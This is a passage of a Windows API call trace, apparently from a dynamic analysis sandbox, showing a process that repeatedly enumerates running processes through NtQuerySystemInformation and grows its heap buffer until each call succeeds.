SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.590] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.698] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.698] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.698] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.698] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.698] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.698] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.698] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.698] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.698] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.699] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.699] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.699] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.808] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.808] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.808] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.808] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.808] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.808] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.809] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.809] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.809] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.916] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.916] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.916] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.916] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.916] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.916] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.916] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.917] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.917] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.917] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.917] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.917] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.026] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.151] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.259] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.259] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.259] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.259] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.260] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.371] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.486] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.590] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.593] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.697] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.697] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.697] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.697] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.806] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) 